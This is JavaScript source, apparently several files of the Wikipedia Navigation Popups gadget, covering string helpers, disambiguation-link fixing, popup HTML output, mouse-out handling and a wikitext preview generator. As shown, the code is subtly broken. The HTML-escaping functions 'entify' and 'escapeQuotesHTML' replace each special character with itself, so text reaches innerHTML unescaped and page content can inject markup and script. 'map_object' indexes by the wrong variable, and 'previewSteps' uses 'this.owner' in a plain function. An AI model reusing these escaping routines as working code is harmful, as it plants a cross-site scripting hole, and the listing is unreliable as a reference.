//////////////////////////////////////////////////
// parenSplit
// String.prototype.parenSplit should do what ECMAscript says String.prototype.split does,
// interspersing paren matches (regex capturing groups) between the split elements.
// i.e. 'abc'.split(/(b)/)) should return ['a','b','c'], not ['a','c']
if (String('abc'.split(/(b)/)) != 'a,b,c') {
// broken String.split, e.g. konq, IE < 10
String.prototype.parenSplit = function (re) {
re = nonGlobalRegex(re);
let s = this;
let m = re.exec(s);
let ret = [];
while (m && s) {
// without the following loop, we have
// 'ab'.parenSplit(/a|(b)/) != 'ab'.split(/a|(b)/)
for (let i = 0; i < m.length; ++i) {
if (typeof m[i] == 'undefined') {
m[i] = '';
}
}
ret.push(s.substring(0, m.index));
ret = ret.concat(m.slice(1));
s = s.substring(m.index + m[0].length);
m = re.exec(s);
}
ret.push(s);
return ret;
};
} else {
String.prototype.parenSplit = function (re) {
return this.split(re);
};
String.prototype.parenSplit.isNative = true;
}
function nonGlobalRegex(re) {
const s = re.toString();
let flags = '';
for (var j = s.length; s.charAt(j) != '/'; --j) {
if (s.charAt(j) != 'g') {
flags += s.charAt(j);
}
}
const t = s.substring(1, j);
return RegExp(t, flags);
}
// ENDFILE: parensplit.js
// STARTFILE: tools.js
// IE madness with encoding
// ========================
//
// suppose throughout that the page is in utf8, like wikipedia
//
// if a is an anchor DOM element and a.href should consist of
//
// http://host.name.here/wiki/foo?bar=baz
//
// then IE gives foo as "latin1-encoded" utf8; we have foo = decode_utf8(decodeURI(foo_ie))
// but IE gives bar=baz correctly as plain utf8
//
// ---------------------------------
//
// IE's xmlhttp doesn't understand utf8 urls. Have to use encodeURI here.
//
// ---------------------------------
//
// summat else
// Source: http://aktuell.de.selfhtml.org/artikel/javascript/utf8b64/utf8.htm
function getJsObj(json) {
try {
const json_ret = JSON.parse(json);
if (json_ret.warnings) {
for (let w = 0; w < json_ret.warnings.length; w++) {
if (json_ret.warnings[w]['*']) {
log(json_ret.warnings[w]['*']);
} else {
log(json_ret.warnings[w].warnings);
}
}
} else if (json_ret.error) {
errlog(json_ret.error.code + ': ' + json_ret.error.info);
}
return json_ret;
} catch (someError) {
errlog('Something went wrong with getJsObj, json=' + json);
return 1;
}
}
function anyChild(obj) {
for (const p in obj) {
return obj[p];
}
return null;
}
function upcaseFirst(str) {
if (typeof str != typeof '' || str === '') {
return '';
}
return str.charAt(0).toUpperCase() + str.substring(1);
}
function findInArray(arr, foo) {
if (!arr || !arr.length) {
return -1;
}
const len = arr.length;
for (let i = 0; i < len; ++i) {
if (arr[i] == foo) {
return i;
}
}
return -1;
}
/* eslint-disable no-unused-vars */
function nextOne(array, value) {
// NB if the array has two consecutive entries equal
// then this will loop on successive calls
const i = findInArray(array, value);
if (i < 0) {
return null;
}
return array[i + 1];
}
/* eslint-enable no-unused-vars */
function literalizeRegex(str) {
return mw.util.escapeRegExp(str);
}
String.prototype.entify = function () {
//var shy='­';
return this.split('&')
.join('&')
.split('<')
.join('<')
.split('>')
.join('>' /*+shy*/)
.split('"')
.join('"');
};
// Array filter function
function removeNulls(val) {
return val !== null;
}
function joinPath(list) {
return list.filter(removeNulls).join('/');
}
function simplePrintf(str, subs) {
if (!str || !subs) {
return str;
}
const ret = [];
const s = str.parenSplit(/(%s|\$[0-9]+)/);
let i = 0;
do {
ret.push(s.shift());
if (!s.length) {
break;
}
const cmd = s.shift();
if (cmd == '%s') {
if (i < subs.length) {
ret.push(subs[i]);
} else {
ret.push(cmd);
}
++i;
} else {
const j = parseInt(cmd.replace('$', ''), 10) - 1;
if (j > -1 && j < subs.length) {
ret.push(subs[j]);
} else {
ret.push(cmd);
}
}
} while (s.length > 0);
return ret.join('');
}
/* eslint-disable no-unused-vars */
function isString(x) {
return typeof x === 'string' || x instanceof String;
}
function isNumber(x) {
return typeof x === 'number' || x instanceof Number;
}
function isRegExp(x) {
return x instanceof RegExp;
}
function isArray(x) {
return x instanceof Array;
}
function isObject(x) {
return x instanceof Object;
}
function isFunction(x) {
return !isRegExp(x) && (typeof x === 'function' || x instanceof Function);
}
/* eslint-enable no-unused-vars */
function repeatString(s, mult) {
let ret = '';
for (let i = 0; i < mult; ++i) {
ret += s;
}
return ret;
}
function zeroFill(s, min) {
min = min || 2;
const t = s.toString();
return repeatString('0', min - t.length) + t;
}
function map(f, o) {
if (isArray(o)) {
return map_array(f, o);
}
return map_object(f, o);
}
function map_array(f, o) {
const ret = [];
for (let i = 0; i < o.length; ++i) {
ret.push(f(o[i]));
}
return ret;
}
function map_object(f, o) {
const ret = {};
for (const i in o) {
ret[o] = f(o[i]);
}
return ret;
}
pg.escapeQuotesHTML = function (text) {
return text
.replace(/&/g, '&')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>');
};
pg.unescapeQuotesHTML = function (html) {
// From https://stackoverflow.com/a/7394787
// This seems to be implemented correctly on all major browsers now, so we
// don't have to make our own function.
const txt = document.createElement('textarea');
txt.innerHTML = html;
return txt.value;
};
// ENDFILE: tools.js
// STARTFILE: dab.js
//////////////////////////////////////////////////
// Dab-fixing code
//
function retargetDab(newTarget, oldTarget, friendlyCurrentArticleName, titleToEdit) {
log('retargetDab: newTarget=' + newTarget + ' oldTarget=' + oldTarget);
return changeLinkTargetLink({
newTarget: newTarget,
text: newTarget.split(' ').join(' '),
hint: tprintf('disambigHint', [newTarget]),
summary: simplePrintf(getValueOf('popupFixDabsSummary'), [
friendlyCurrentArticleName,
newTarget,
]),
clickButton: getValueOf('popupDabsAutoClick'),
minor: true,
oldTarget: oldTarget,
watch: getValueOf('popupWatchDisambiggedPages'),
title: titleToEdit,
});
}
function listLinks(wikitext, oldTarget, titleToEdit) {
// mediawiki strips trailing spaces, so we do the same
// testcase: https://en.wikipedia.org/w/index.php?title=Radial&oldid=97365633
const reg = /\[\[([^|]*?) *(\||\]\])/gi;
let ret = [];
const splitted = wikitext.parenSplit(reg);
// ^[a-z]+ should match interwiki links, hopefully (case-insensitive)
// and ^[a-z]* should match those and [[:Category...]] style links too
const omitRegex = /^[a-z]*:|^[Ss]pecial:|^[Ii]mage|^[Cc]ategory/;
const friendlyCurrentArticleName = oldTarget.toString();
const wikPos = getValueOf('popupDabWiktionary');
for (let i = 1; i < splitted.length; i = i + 3) {
if (
typeof splitted[i] == typeof 'string' &&
splitted[i].length > 0 &&
!omitRegex.test(splitted[i])
) {
ret.push(retargetDab(splitted[i], oldTarget, friendlyCurrentArticleName, titleToEdit));
} /* if */
} /* for loop */
ret = rmDupesFromSortedList(ret.sort());
if (wikPos) {
const wikTarget =
'wiktionary:' +
friendlyCurrentArticleName.replace(/^(.+)\s+[(][^)]+[)]\s*$/, '$1');
let meth;
if (wikPos.toLowerCase() == 'first') {
meth = 'unshift';
} else {
meth = 'push';
}
ret[meth](retargetDab(wikTarget, oldTarget, friendlyCurrentArticleName, titleToEdit));
}
ret.push(
changeLinkTargetLink({
newTarget: null,
text: popupString('remove this link').split(' ').join(' '),
hint: popupString('remove all links to this disambig page from this article'),
clickButton: getValueOf('popupDabsAutoClick'),
oldTarget: oldTarget,
summary: simplePrintf(getValueOf('popupRmDabLinkSummary'), [friendlyCurrentArticleName]),
watch: getValueOf('popupWatchDisambiggedPages'),
title: titleToEdit,
})
);
return ret;
}
function rmDupesFromSortedList(list) {
const ret = [];
for (let i = 0; i < list.length; ++i) {
if (ret.length === 0 || list[i] != ret[ret.length - 1]) {
ret.push(list[i]);
}
}
return ret;
}
function makeFixDab(data, navpop) {
// grab title from parent popup if there is one; default exists in changeLinkTargetLink
const titleToEdit = navpop.parentPopup && navpop.parentPopup.article.toString();
const list = listLinks(data, navpop.originalArticle, titleToEdit);
if (list.length === 0) {
log('listLinks returned empty list');
return null;
}
let html = '<hr />' + popupString('Click to disambiguate this link to:') + '<br>';
html += list.join(', ');
return html;
}
function makeFixDabs(wikiText, navpop) {
if (
getValueOf('popupFixDabs') &&
isDisambig(wikiText, navpop.article) &&
Title.fromURL(location.href).namespaceId() != pg.nsSpecialId &&
navpop.article.talkPage()
) {
setPopupHTML(makeFixDab(wikiText, navpop), 'popupFixDab', navpop.idNumber);
}
}
function popupRedlinkHTML(article) {
return changeLinkTargetLink({
newTarget: null,
text: popupString('remove this link').split(' ').join(' '),
hint: popupString('remove all links to this page from this article'),
clickButton: getValueOf('popupRedlinkAutoClick'),
oldTarget: article.toString(),
summary: simplePrintf(getValueOf('popupRedlinkSummary'), [article.toString()]),
});
}
// ENDFILE: dab.js
// STARTFILE: htmloutput.js
// this has to use a timer loop as we don't know if the DOM element exists when we want to set the text
function setPopupHTML(str, elementId, popupId, onSuccess, append) {
if (typeof popupId === 'undefined') {
//console.error('popupId is not defined in setPopupHTML, html='+str.substring(0,100));
popupId = pg.idNumber;
}
const popupElement = document.getElementById(elementId + popupId);
if (popupElement) {
if (!append) {
popupElement.innerHTML = '';
}
if (isString(str)) {
popupElement.innerHTML += str;
} else {
popupElement.appendChild(str);
}
if (onSuccess) {
onSuccess();
}
setTimeout(checkPopupPosition, 100);
return true;
} else {
// call this function again in a little while...
setTimeout(() => {
setPopupHTML(str, elementId, popupId, onSuccess);
}, 600);
}
return null;
}
function setPopupTrailer(str, id) {
return setPopupHTML(str, 'popupData', id);
}
// args.navpopup is mandatory
// optional: args.redir, args.redirTarget
// FIXME: ye gods, this is ugly stuff
function fillEmptySpans(args) {
// if redir is present and true then redirTarget is mandatory
let redir = true;
let rcid;
if (typeof args != 'object' || typeof args.redir == 'undefined' || !args.redir) {
redir = false;
}
const a = args.navpopup.parentAnchor;
let article,
hint = null,
oldid = null,
params = {};
if (redir && typeof args.redirTarget == typeof {}) {
article = args.redirTarget;
//hint=article.hintValue();
} else {
article = new Title().fromAnchor(a);
hint = a.originalTitle || article.hintValue();
params = parseParams(a.href);
oldid = getValueOf('popupHistoricalLinks') ? params.oldid : null;
rcid = params.rcid;
}
const x = {
article: article,
hint: hint,
oldid: oldid,
rcid: rcid,
navpop: args.navpopup,
params: params,
};
const structure = pg.structures[getValueOf('popupStructure')];
if (typeof structure != 'object') {
setPopupHTML(
'popupError',
'Unknown structure (this should never happen): ' + pg.option.popupStructure,
args.navpopup.idNumber
);
return;
}
const spans = flatten(pg.misc.layout);
const numspans = spans.length;
const redirs = pg.misc.redirSpans;
for (let i = 0; i < numspans; ++i) {
const found = redirs && redirs.indexOf(spans[i]) !== -1;
//log('redir='+redir+', found='+found+', spans[i]='+spans[i]);
if ((found && !redir) || (!found && redir)) {
//log('skipping this set of the loop');
continue;
}
const structurefn = structure[spans[i]];
if (structurefn === undefined) {
// nothing to do for this structure part
continue;
}
let setfn = setPopupHTML;
if (
getValueOf('popupActiveNavlinks') &&
(spans[i].indexOf('popupTopLinks') === 0 || spans[i].indexOf('popupRedirTopLinks') === 0)
) {
setfn = setPopupTipsAndHTML;
}
switch (typeof structurefn) {
case 'function':
log(
'running ' +
spans[i] +
'({article:' +
x.article +
', hint:' +
x.hint +
', oldid: ' +
x.oldid +
'})'
);
setfn(structurefn(x), spans[i], args.navpopup.idNumber);
break;
case 'string':
setfn(structurefn, spans[i], args.navpopup.idNumber);
break;
default:
errlog('unknown thing with label ' + spans[i] + ' (span index was ' + i + ')');
break;
}
}
}
// flatten an array
function flatten(list, start) {
const ret = [];
if (typeof start == 'undefined') {
start = 0;
}
for (let i = start; i < list.length; ++i) {
if (typeof list[i] == typeof []) {
return ret.concat(flatten(list[i])).concat(flatten(list, i + 1));
} else {
ret.push(list[i]);
}
}
return ret;
}
// Generate html for whole popup
function popupHTML(a) {
getValueOf('popupStructure');
const structure = pg.structures[pg.option.popupStructure];
if (typeof structure != 'object') {
//return 'Unknown structure: '+pg.option.popupStructure;
// override user choice
pg.option.popupStructure = pg.optionDefault.popupStructure;
return popupHTML(a);
}
if (typeof structure.popupLayout != 'function') {
return 'Bad layout';
}
pg.misc.layout = structure.popupLayout();
if (typeof structure.popupRedirSpans === 'function') {
pg.misc.redirSpans = structure.popupRedirSpans();
} else {
pg.misc.redirSpans = [];
}
return makeEmptySpans(pg.misc.layout, a.navpopup);
}
function makeEmptySpans(list, navpop) {
let ret = '';
for (let i = 0; i < list.length; ++i) {
if (typeof list[i] == typeof '') {
ret += emptySpanHTML(list[i], navpop.idNumber, 'div');
} else if (typeof list[i] == typeof [] && list[i].length > 0) {
ret = ret.parenSplit(/(<\/[^>]*?>$)/).join(makeEmptySpans(list[i], navpop));
} else if (typeof list[i] == typeof {} && list[i].nodeType) {
ret += emptySpanHTML(list[i].name, navpop.idNumber, list[i].nodeType);
}
}
return ret;
}
function emptySpanHTML(name, id, tag, classname) {
tag = tag || 'span';
if (!classname) {
classname = emptySpanHTML.classAliases[name];
}
classname = classname || name;
if (name == getValueOf('popupDragHandle')) {
classname += ' popupDragHandle';
}
return simplePrintf('<%s id="%s" class="%s"></%s>', [tag, name + id, classname, tag]);
}
emptySpanHTML.classAliases = { popupSecondPreview: 'popupPreview' };
// generate html for popup image
// <a id="popupImageLinkn"><img id="popupImagen">
// where n=idNumber
function imageHTML(article, idNumber) {
return simplePrintf(
'<a id="popupImageLink$1">' +
'<img align="right" valign="top" id="popupImg$1" style="display: none;"></img>' +
'</a>',
[idNumber]
);
}
function popTipsSoonFn(id, when, popData) {
if (!when) {
when = 250;
}
const popTips = function () {
setupTooltips(document.getElementById(id), false, true, popData);
};
return function () {
setTimeout(popTips, when, popData);
};
}
function setPopupTipsAndHTML(html, divname, idnumber, popData) {
setPopupHTML(
html,
divname,
idnumber,
getValueOf('popupSubpopups') ? popTipsSoonFn(divname + idnumber, null, popData) : null
);
}
// ENDFILE: htmloutput.js
// STARTFILE: mouseout.js
//////////////////////////////////////////////////
// fuzzy checks
function fuzzyCursorOffMenus(x, y, fuzz, parent) {
if (!parent) {
return null;
}
const uls = parent.getElementsByTagName('ul');
for (let i = 0; i < uls.length; ++i) {
if (uls[i].className == 'popup_menu') {
if (uls[i].offsetWidth > 0) {
return false;
}
} // else {document.title+='.';}
}
return true;
}
function checkPopupPosition() {
// stop the popup running off the right of the screen
// FIXME avoid pg.current.link
if (pg.current.link && pg.current.link.navpopup) {
pg.current.link.navpopup.limitHorizontalPosition();
}
}
function mouseOutWikiLink() {
//console ('mouseOutWikiLink');
const a = this;
removeModifierKeyHandler(a);
if (a.navpopup === null || typeof a.navpopup === 'undefined') {
return;
}
if (!a.navpopup.isVisible()) {
a.navpopup.banish();
return;
}
restoreTitle(a);
Navpopup.tracker.addHook(posCheckerHook(a.navpopup));
}
function posCheckerHook(navpop) {
return function () {
if (!navpop.isVisible()) {
return true; /* remove this hook */
}
if (Navpopup.tracker.dirty) {
return false;
}
const x = Navpopup.tracker.x,
y = Navpopup.tracker.y;
const mouseOverNavpop =
navpop.isWithin(x, y, navpop.fuzz, navpop.mainDiv) ||
!fuzzyCursorOffMenus(x, y, navpop.fuzz, navpop.mainDiv);
// FIXME it'd be prettier to do this internal to the Navpopup objects
let t = getValueOf('popupHideDelay');
if (t) {
t = t * 1000;
}
if (!t) {
if (!mouseOverNavpop) {
if (navpop.parentAnchor) {
restoreTitle(navpop.parentAnchor);
}
navpop.banish();
return true; /* remove this hook */
}
return false;
}
// we have a hide delay set
const d = Date.now();
if (!navpop.mouseLeavingTime) {
navpop.mouseLeavingTime = d;
return false;
}
if (mouseOverNavpop) {
navpop.mouseLeavingTime = null;
return false;
}
if (d - navpop.mouseLeavingTime > t) {
navpop.mouseLeavingTime = null;
navpop.banish();
return true; /* remove this hook */
}
return false;
};
}
function runStopPopupTimer(navpop) {
// at this point, we should have left the link but remain within the popup
// so we call this function again until we leave the popup.
if (!navpop.stopPopupTimer) {
navpop.stopPopupTimer = setInterval(posCheckerHook(navpop), 500);
navpop.addHook(
() => {
clearInterval(navpop.stopPopupTimer);
},
'hide',
'before'
);
}
}
// ENDFILE: mouseout.js
// STARTFILE: previewmaker.js
/**
* @file
* Defines the {@link Previewmaker} object, which generates short previews from wiki markup.
*/
/**
* Creates a new Previewmaker
*
* @constructor
* @class The Previewmaker class. Use an instance of this to generate short previews from Wikitext.
* @param {string} wikiText The Wikitext source of the page we wish to preview.
* @param {string} baseUrl The url we should prepend when creating relative urls.
* @param {Navpopup} owner The navpop associated to this preview generator
*/
function Previewmaker(wikiText, baseUrl, owner) {
/** The wikitext which is manipulated to generate the preview. */
this.originalData = wikiText;
this.baseUrl = baseUrl;
this.owner = owner;
this.maxCharacters = getValueOf('popupMaxPreviewCharacters');
this.maxSentences = getValueOf('popupMaxPreviewSentences');
this.setData();
}
Previewmaker.prototype.setData = function () {
const maxSize = Math.max(10000, 2 * this.maxCharacters);
this.data = this.originalData.substring(0, maxSize);
};
/**
* Remove HTML comments
*
* @private
*/
Previewmaker.prototype.killComments = function () {
// this also kills one trailing newline, eg [[diamyo]]
this.data = this.data.replace(
/^<!--[^$]*?-->\n|\n<!--[^$]*?-->(?=\n)|<!--[^$]*?-->/g,
''
);
};
/**
* @private
*/
Previewmaker.prototype.killDivs = function () {
// say goodbye, divs (can be nested, so use * not *?)
this.data = this.data.replace(/< *div[^>]* *>[\s\S]*?< *\/ *div *>/gi, '');
};
/**
* @private
*/
Previewmaker.prototype.killGalleries = function () {
this.data = this.data.replace(/< *gallery[^>]* *>[\s\S]*?< *\/ *gallery *>/gi, '');
};
/**
* @private
*/
Previewmaker.prototype.kill = function (opening, closing, subopening, subclosing, repl) {
let oldk = this.data;
let k = this.killStuff(this.data, opening, closing, subopening, subclosing, repl);
while (k.length < oldk.length) {
oldk = k;
k = this.killStuff(k, opening, closing, subopening, subclosing, repl);
}
this.data = k;
};
/**
* @private
*/
Previewmaker.prototype.killStuff = function (
txt,
opening,
closing,
subopening,
subclosing,
repl
) {
const op = this.makeRegexp(opening);
const cl = this.makeRegexp(closing, '^');
const sb = subopening ? this.makeRegexp(subopening, '^') : null;
const sc = subclosing ? this.makeRegexp(subclosing, '^') : cl;
if (!op || !cl) {
alert('Navigation Popups error: op or cl is null! something is wrong.');
return;
}
if (!op.test(txt)) {
return txt;
}
let ret = '';
const opResult = op.exec(txt);
ret = txt.substring(0, opResult.index);
txt = txt.substring(opResult.index + opResult[0].length);
let depth = 1;
while (txt.length > 0) {
let removal = 0;
if (depth == 1 && cl.test(txt)) {
depth--;
removal = cl.exec(txt)[0].length;
} else if (depth > 1 && sc.test(txt)) {
depth--;
removal = sc.exec(txt)[0].length;
} else if (sb && sb.test(txt)) {
depth++;
removal = sb.exec(txt)[0].length;
}
if (!removal) {
removal = 1;
}
txt = txt.substring(removal);
if (depth === 0) {
break;
}
}
return ret + (repl || '') + txt;
};
/**
* @private
*/
Previewmaker.prototype.makeRegexp = function (x, prefix, suffix) {
prefix = prefix || '';
suffix = suffix || '';
let reStr = '';
let flags = '';
if (isString(x)) {
reStr = prefix + literalizeRegex(x) + suffix;
} else if (isRegExp(x)) {
let s = x.toString().substring(1);
const sp = s.split('/');
flags = sp[sp.length - 1];
sp[sp.length - 1] = '';
s = sp.join('/');
s = s.substring(0, s.length - 1);
reStr = prefix + s + suffix;
} else {
log('makeRegexp failed');
}
log('makeRegexp: got reStr=' + reStr + ', flags=' + flags);
return RegExp(reStr, flags);
};
/**
* @private
*/
Previewmaker.prototype.killBoxTemplates = function () {
// taxobox removal... in fact, there's a saudiprincebox_begin, so let's be more general
// also, have float_begin, ... float_end
this.kill(/[{][{][^{}\s|]*?(float|box)[_ ](begin|start)/i, /[}][}]\s*/, '{{');
// infoboxes etc
// from [[User:Zyxw/popups.js]]: kill frames too
this.kill(/[{][{][^{}\s|]*?(infobox|elementbox|frame)[_ ]/i, /[}][}]\s*/, '{{');
};
/**
* @private
*/
Previewmaker.prototype.killTemplates = function () {
this.kill('{{', '}}', '{', '}', ' ');
};
/**
* @private
*/
Previewmaker.prototype.killTables = function () {
// tables are bad, too
// this can be slow, but it's an inprovement over a browser hang
// torture test: [[Comparison_of_Intel_Central_Processing_Units]]
this.kill('{|', /[|]}\s*/, '{|');
this.kill(/<table.*?>/i, /<\/table.*?>/i, /<table.*?>/i);
// remove lines starting with a pipe for the hell of it (?)
this.data = this.data.replace(/^[|].*$/mg, '');
};
/**
* @private
*/
Previewmaker.prototype.killImages = function () {
const forbiddenNamespaceAliases = [];
$.each(mw.config.get('wgNamespaceIds'), (_localizedNamespaceLc, _namespaceId) => {
if (_namespaceId != pg.nsImageId && _namespaceId != pg.nsCategoryId) {
return;
}
forbiddenNamespaceAliases.push(_localizedNamespaceLc.split(' ').join('[ _]')); //todo: escape regexp fragments!
});
// images and categories are a nono
this.kill(
RegExp('[[][[]\\s*(' + forbiddenNamespaceAliases.join('|') + ')\\s*:', 'i'),
/\]\]\s*/,
'[',
']'
);
};
/**
* @private
*/
Previewmaker.prototype.killHTML = function () {
// kill <ref ...>...</ref>
this.kill(/<ref\b[^/>]*?>/i, /<\/ref>/i);
// let's also delete entire lines starting with <. it's worth a try.
this.data = this.data.replace(/(^|\n) *<.*/g, '\n');
// and those pesky html tags, but not <nowiki> or <blockquote>
const splitted = this.data.parenSplit(/(<[\w\W]*?(?:>|$|(?=<)))/);
const len = splitted.length;
for (let i = 1; i < len; i = i + 2) {
switch (splitted[i]) {
case '<nowiki>':
case '</nowiki>':
case '<blockquote>':
case '</blockquote>':
break;
default:
splitted[i] = '';
}
}
this.data = splitted.join('');
};
/**
* @private
*/
Previewmaker.prototype.killChunks = function () {
// heuristics alert
// chunks of italic text? you crazy, man?
const italicChunkRegex = /((^|\n)\s*:*\s*''[^']([^']|'''|'[^']){20}(.|\n[^\n])*''[.!?\s]*\n)+/g;
// keep stuff separated, though, so stick in \n (fixes [[Union Jack]]?
this.data = this.data.replace(italicChunkRegex, '\n');
};
/**
* @private
*/
Previewmaker.prototype.mopup = function () {
// we simply *can't* be doing with horizontal rules right now
this.data = this.data.replace(/^-{4,}/mg, '');
// no indented lines
this.data = this.data.replace(/(^|\n) *:[^\n]*/g, '');
// replace __TOC__, __NOTOC__ and whatever else there is
// this'll probably do
this.data = this.data.replace(/^__[A-Z_]*__ *$/gmi, '');
};
/**
* @private
*/
Previewmaker.prototype.firstBit = function () {
// dont't be givin' me no subsequent paragraphs, you hear me?
/// first we "normalize" section headings, removing whitespace after, adding before
let d = this.data;
if (getValueOf('popupPreviewCutHeadings')) {
this.data = this.data.replace(/\s*(==+[^=]*==+)\s*/g, '\n\n$1 ');
/// then we want to get rid of paragraph breaks whose text ends badly
this.data = this.data.replace(/([:;]) *\n{2,}/g, '$1\n');
this.data = this.data.replace(/^[\s\n]*/, '');
const stuff = /^([^\n]|\n[^\n\s])*/.exec(this.data);
if (stuff) {
d = stuff[0];
}
if (!getValueOf('popupPreviewFirstParOnly')) {
d = this.data;
}
/// now put \n\n after sections so that bullets and numbered lists work
d = d.replace(/(==+[^=]*==+)\s*/g, '$1\n\n');
}
// Split sentences. Superfluous sentences are RIGHT OUT.
// note: exactly 1 set of parens here needed to make the slice work
d = d.parenSplit(/([!?.]+["']*\s)/g);
// leading space is bad, mmkay?
d[0] = d[0].replace(/^\s*/, '');
const notSentenceEnds = /([^.][a-z][.] *[a-z]|etc|sic|Dr|Mr|Mrs|Ms|St|no|op|cit|\[[^\]]*|\s[A-Zvclm])$/i;
d = this.fixSentenceEnds(d, notSentenceEnds);
this.fullLength = d.join('').length;
let n = this.maxSentences;
let dd = this.firstSentences(d, n);
do {
dd = this.firstSentences(d, n);
--n;
} while (dd.length > this.maxCharacters && n !== 0);
this.data = dd;
};
/**
* @private
*/
Previewmaker.prototype.fixSentenceEnds = function (strs, reg) {
// take an array of strings, strs
// join strs[i] to strs[i+1] & strs[i+2] if strs[i] matches regex reg
for (let i = 0; i < strs.length - 2; ++i) {
if (reg.test(strs[i])) {
const a = [];
for (let j = 0; j < strs.length; ++j) {
if (j < i) {
a[j] = strs[j];
}
if (j == i) {
a[i] = strs[i] + strs[i + 1] + strs[i + 2];
}
if (j > i + 2) {
a[j - 2] = strs[j];
}
}
return this.fixSentenceEnds(a, reg);
}
}
return strs;
};
/**
* @private
*/
Previewmaker.prototype.firstSentences = function (strs, howmany) {
const t = strs.slice(0, 2 * howmany);
return t.join('');
};
/**
* @private
*/
Previewmaker.prototype.killBadWhitespace = function () {
// also cleans up isolated '''', eg [[Suntory Sungoliath]]
this.data = this.data.replace(/^ *'+ *$/gm, '');
};
/**
* Runs the various methods to generate the preview.
* The preview is stored in the <code>html</html> field.
*
* @private
*/
Previewmaker.prototype.makePreview = function () {
if (
this.owner.article.namespaceId() != pg.nsTemplateId &&
this.owner.article.namespaceId() != pg.nsImageId
) {
this.killComments();
this.killDivs();
this.killGalleries();
this.killBoxTemplates();
if (getValueOf('popupPreviewKillTemplates')) {
this.killTemplates();
} else {
this.killMultilineTemplates();
}
this.killTables();
this.killImages();
this.killHTML();
this.killChunks();
this.mopup();
this.firstBit();
this.killBadWhitespace();
} else {
this.killHTML();
}
this.html = wiki2html(this.data, this.baseUrl); // needs livepreview
this.fixHTML();
this.stripLongTemplates();
};
/**
* @private
*/
Previewmaker.prototype.esWiki2HtmlPart = function (data) {
const reLinks = /(?:\[\[([^|\]]*)(?:\|([^|\]]*))*]]([a-z]*))/gi; //match a wikilink
reLinks.lastIndex = 0; //reset regex
let match;
let result = '';
let postfixIndex = 0;
while ((match = reLinks.exec(data))) {
//match all wikilinks
//FIXME: the way that link is built here isn't perfect. It is clickable, but popups preview won't recognize it in some cases.
result +=
pg.escapeQuotesHTML(data.substring(postfixIndex, match.index)) +
'<a href="' +
Insta.conf.paths.articles +
pg.escapeQuotesHTML(match[1]) +
'">' +
pg.escapeQuotesHTML((match[2] ? match[2] : match[1]) + match[3]) +
'</a>';
postfixIndex = reLinks.lastIndex;
}
//append the rest
result += pg.escapeQuotesHTML(data.substring(postfixIndex));
return result;
};
Previewmaker.prototype.editSummaryPreview = function () {
const reAes = /\/\* *(.*?) *\*\//g; //match the first section marker
reAes.lastIndex = 0; //reset regex
let match;
match = reAes.exec(this.data);
if (match) {
//we have a section link. Split it, process it, combine it.
const prefix = this.data.substring(0, match.index - 1);
const section = match[1];
const postfix = this.data.substring(reAes.lastIndex);
let start = "<span class='autocomment'>";
let end = '</span>';
if (prefix.length > 0) {
start = this.esWiki2HtmlPart(prefix) + ' ' + start + '- ';
}
if (postfix.length > 0) {
end = ': ' + end + this.esWiki2HtmlPart(postfix);
}
const t = new Title().fromURL(this.baseUrl);
t.anchorFromUtf(section);
const sectionLink =
Insta.conf.paths.articles +
pg.escapeQuotesHTML(t.toString(true)) +
'#' +
pg.escapeQuotesHTML(t.anchor);
return (
start + '<a href="' + sectionLink + '">→</a> ' + pg.escapeQuotesHTML(section) + end
);
}
//else there's no section link, htmlify the whole thing.
return this.esWiki2HtmlPart(this.data);
};
/** Test function for debugging preview problems one step at a time. */
/*eslint-disable */
function previewSteps(txt) {
try {
txt = txt || document.editform.wpTextbox1.value;
} catch (err) {
if (pg.cache.pages.length > 0) {
txt = pg.cache.pages[pg.cache.pages.length - 1].data;
} else {
alert('provide text or use an edit page');
}
}
txt = txt.substring(0, 10000);
var base = pg.wiki.articlebase + Title.fromURL(document.location.href).urlString();
var p = new Previewmaker(txt, base, pg.current.link.navpopup);
if (this.owner.article.namespaceId() != pg.nsTemplateId) {
p.killComments();
if (!confirm('done killComments(). Continue?\n---\n' + p.data)) {
return;
}
p.killDivs();
if (!confirm('done killDivs(). Continue?\n---\n' + p.data)) {
return;
}
p.killGalleries();
if (!confirm('done killGalleries(). Continue?\n---\n' + p.data)) {
return;
}
p.killBoxTemplates();
if (!confirm('done killBoxTemplates(). Continue?\n---\n' + p.data)) {
return;
}
if (getValueOf('popupPreviewKillTemplates')) {
p.killTemplates();
if (!confirm('done killTemplates(). Continue?\n---\n' + p.data)) {
return;
}
} else {
p.killMultilineTemplates();
if (!confirm('done killMultilineTemplates(). Continue?\n---\n' + p.data)) {
return;
}
}
p.killTables();
if (!confirm('done killTables(). Continue?\n---\n' + p.data)) {
return;
}
p.killImages();
if (!confirm('done killImages(). Continue?\n---\n' + p.data)) {
return;
}
p.killHTML();
if (!confirm('done killHTML(). Continue?\n---\n' + p.data)) {
return;
}
p.killChunks();
if (!confirm('done killChunks(). Continue?\n---\n' + p.data)) {
return;
}
p.mopup();
if (!confirm('done mopup(). Continue?\n---\n' + p.data)) {
return;
}
p.firstBit();
if (!confirm('done firstBit(). Continue?\n---\n' + p.data)) {
return;
}
p.killBadWhitespace();
if (!confirm('done killBadWhitespace(). Continue?\n---\n' + p.data)) {
return;
}
}
p.html = wiki2html(p.data, base); // needs livepreview
p.fixHTML();
if (!confirm('done fixHTML(). Continue?\n---\n' + p.html)) {
return;
}
p.stripLongTemplates();
if (!confirm('done stripLongTemplates(). Continue?\n---\n' + p.html)) {
return;
}
alert('finished preview - end result follows.\n---\n' + p.html);
}
/*eslint-enable */
/**
* Works around livepreview bugs.
*
* @private
*/
Previewmaker.prototype.fixHTML = function () {
if (!this.html) {
return;
}
let ret = this.html;
// fix question marks in wiki links
// maybe this'll break some stuff :-(
ret = ret.replace(
RegExp('(<a href="' + pg.wiki.articlePath + '/[^"]*)[?](.*?")', 'g'),
'$1%3F$2'
);
ret = ret.replace(
RegExp("(<a href='" + pg.wiki.articlePath + "/[^']*)[?](.*?')", 'g'),
'$1%3F$2'
);
// FIXME fix up % too
this.html = ret;
};
/**
* Generates the preview and displays it in the current popup.
*
* Does nothing if the generated preview is invalid or consists of whitespace only.
* Also activates wikilinks in the preview for subpopups if the popupSubpopups option is true.
*/
Previewmaker.prototype.showPreview = function () {
this.makePreview();
if (typeof this.html != typeof '') {
return;
}
if (/^\s*$/.test(this.html)) {
return;
}
setPopupHTML('<hr />', 'popupPrePreviewSep', this.owner.idNumber);
setPopupTipsAndHTML(this.html, 'popupPreview', this.owner.idNumber, {
owner: this.owner,
});
